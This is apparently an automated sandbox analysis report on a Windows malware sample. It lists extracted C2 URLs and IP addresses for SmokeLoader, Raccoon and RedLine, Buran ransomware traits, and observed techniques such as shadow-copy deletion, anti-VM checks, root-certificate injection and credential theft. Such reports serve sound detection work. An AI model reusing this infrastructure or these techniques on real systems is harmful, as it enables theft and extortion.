Analysis
-
max time kernel
147s -
max time network
197s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
27-08-2021 08:24
Static task
static1
Behavioral task
behavioral1
Sample
b7e27567f201a840d0f9c12cf0a2d734.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
b7e27567f201a840d0f9c12cf0a2d734.exe
Resource
win10v20210408
General
-
Target
b7e27567f201a840d0f9c12cf0a2d734.exe
-
Size
264KB
-
MD5
b7e27567f201a840d0f9c12cf0a2d734
-
SHA1
1bc2fd9116bffab627b0ea37ff0bb7c49726b9a5
-
SHA256
eedbfa19e0dea5bf1cb8ddd108ecc4ddc8a67481fafa759e588da3125228992e
-
SHA512
30b0f5c7297e83c0ebeef938eea9edc18cc7149d1aef6a1eaa16c83d0f03167bd9fe8bb3a1f21a614af81c589e82a505a3f9d4e98934c7d452bec95eab205aac
Malware Config
Extracted
C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT
buran
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
raccoon
fe582536ec580228180f270f7cb80a867860e010
-
url4cnc
https://telete.in/xylichanjk
Extracted
redline
Sergey777
51.254.68.139:15009
Extracted
redline
1
176.9.244.86:16284
Signatures
-
Buran
Ransomware-as-a-service based on the VegaLocker family first identified in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 9 IoCs
resource yara_rule behavioral1/memory/572-135-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/572-136-0x000000000041A6AE-mapping.dmp family_redline behavioral1/memory/572-138-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/2344-191-0x000000000041A6AE-mapping.dmp family_redline behavioral1/memory/2544-203-0x000000000041A6AE-mapping.dmp family_redline behavioral1/memory/2660-225-0x000000000041A6AE-mapping.dmp family_redline behavioral1/memory/2152-246-0x00000000003B0000-0x00000000003CD000-memory.dmp family_redline behavioral1/memory/2152-248-0x0000000004700000-0x000000000471C000-memory.dmp family_redline behavioral1/memory/2116-253-0x000000000041A6AE-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
XMRig Miner Payload 2 IoCs
resource yara_rule behavioral1/memory/2208-240-0x0000000000310000-0x0000000000401000-memory.dmp xmrig behavioral1/memory/2208-247-0x00000000003A259C-mapping.dmp xmrig -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 19 IoCs
pid Process 672 8FE1.exe 1252 91A6.exe 1036 960A.exe 1904 98AA.exe 656 9D5C.exe 1560 9E86.exe 1656 A451.exe 892 A710.exe 1720 ecrdxteu.exe 572 A710.exe 1772 explorer.exe 532 A710.exe 2344 A710.exe 2544 A710.exe 2832 explorer.exe 2660 A710.exe 1300 A710.exe 2164 xImzabj022kKhKW.exe 2152 MunchingHallstand_2021-08-26_19-29.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 960A.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 960A.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 9D5C.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 9D5C.exe -
Deletes itself 1 IoCs
pid Process 1288 Process not Found -
Loads dropped DLL 16 IoCs
pid Process 1252 91A6.exe 892 A710.exe 1252 91A6.exe 1252 91A6.exe 1252 91A6.exe 1252 91A6.exe 1252 91A6.exe 1252 91A6.exe 892 A710.exe 1904 98AA.exe 1904 98AA.exe 892 A710.exe 892 A710.exe 892 A710.exe 892 A710.exe 892 A710.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x00040000000130e8-73.dat themida behavioral1/memory/1036-81-0x0000000000D90000-0x0000000000D91000-memory.dmp themida behavioral1/files/0x00040000000130eb-84.dat themida behavioral1/memory/656-91-0x0000000000DA0000-0x0000000000DA1000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run 98AA.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer.exe = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\explorer.exe\" -start" 98AA.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 960A.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 9D5C.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: explorer.exe File opened (read-only) \??\R: explorer.exe File opened (read-only) \??\N: explorer.exe File opened (read-only) \??\M: explorer.exe File opened (read-only) \??\I: explorer.exe File opened (read-only) \??\G: explorer.exe File opened (read-only) \??\Z: explorer.exe File opened (read-only) \??\W: explorer.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\X: explorer.exe File opened (read-only) \??\J: explorer.exe File opened (read-only) \??\U: explorer.exe File opened (read-only) \??\T: explorer.exe File opened (read-only) \??\L: explorer.exe File opened (read-only) \??\K: explorer.exe File opened (read-only) \??\Y: explorer.exe File opened (read-only) \??\V: explorer.exe File opened (read-only) \??\O: explorer.exe File opened (read-only) \??\H: explorer.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\B: explorer.exe File opened (read-only) \??\A: explorer.exe File opened (read-only) \??\Q: explorer.exe File opened (read-only) \??\P: explorer.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 geoiptool.com -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile:.repos svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1036 960A.exe 656 9D5C.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2008 set thread context of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 892 set thread context of 572 892 A710.exe 47 PID 1720 set thread context of 2184 1720 ecrdxteu.exe 64 PID 892 set thread context of 2344 892 A710.exe 68 PID 892 set thread context of 2544 892 A710.exe 72 PID 892 set thread context of 2660 892 A710.exe 74 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF explorer.exe File opened for modification C:\Program Files\7-Zip\Lang\sa.txt.payfast290.99A-ABD-50B explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rio_Branco explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok.payfast290.99A-ABD-50B explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Johannesburg.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\MANIFEST.MF explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.properties.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\epl-v10.html explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\epl-v10.html explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_ButtonGraphic.png explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hovd explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240811.profile.gz explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Metlakatla.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Reykjavik.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\7-Zip\History.txt.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\circle_glass_Thumbnail.bmp explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\GMT.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ceuta.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jmc.ini explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fakaofo explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html.payfast290.99A-ABD-50B explorer.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\java.exe explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Andorra.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Marquesas.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-2.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\jawt.lib.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_de.properties explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Mazatlan explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yakutat explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\navSubpicture.png explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\15x15dot.png explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages.properties explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv explorer.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vilnius explorer.exe File created C:\Program Files\7-Zip\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT explorer.exe File opened for modification C:\Program Files\DVD Maker\Shared\Filters.xml explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Louisville.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\eclipse.inf explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Krasnoyarsk explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia.payfast290.99A-ABD-50B explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.properties explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\ZoneInfoMappings explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles explorer.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santo_Domingo explorer.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b7e27567f201a840d0f9c12cf0a2d734.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b7e27567f201a840d0f9c12cf0a2d734.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b7e27567f201a840d0f9c12cf0a2d734.exe -
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1504 vssadmin.exe 2896 vssadmin.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Control Panel\Buses svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = e43b1e3d3c4e360424edb47d450dd49d084297dce82e72baa49f3efdc4795e1db89fc71887cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56814de8c4f763be0a8644490bdbd7a25e89c550dc9f08d3c74bbc4103d35fda56e13db8c49723cd4f10b4c90d8f6127db9a45b3494b48d6c2bd49e440b3cf9a65d579fc2223064b9f86400c58fb57d27ef945b06cac4e13b7e85c12b496da0f15d15d8844e7c3fe6ab5015f459a45c14e527cf6dfdc48d541ce4ad744a6bbfff02579fc27d440dd49d642df4fe281f5798a46d34fdc741461ee4ad743c35f4a77311db9a4c703bfaac5c15f4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743de4cc945d svchost.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 98AA.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 98AA.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 98AA.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 explorer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 91A6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c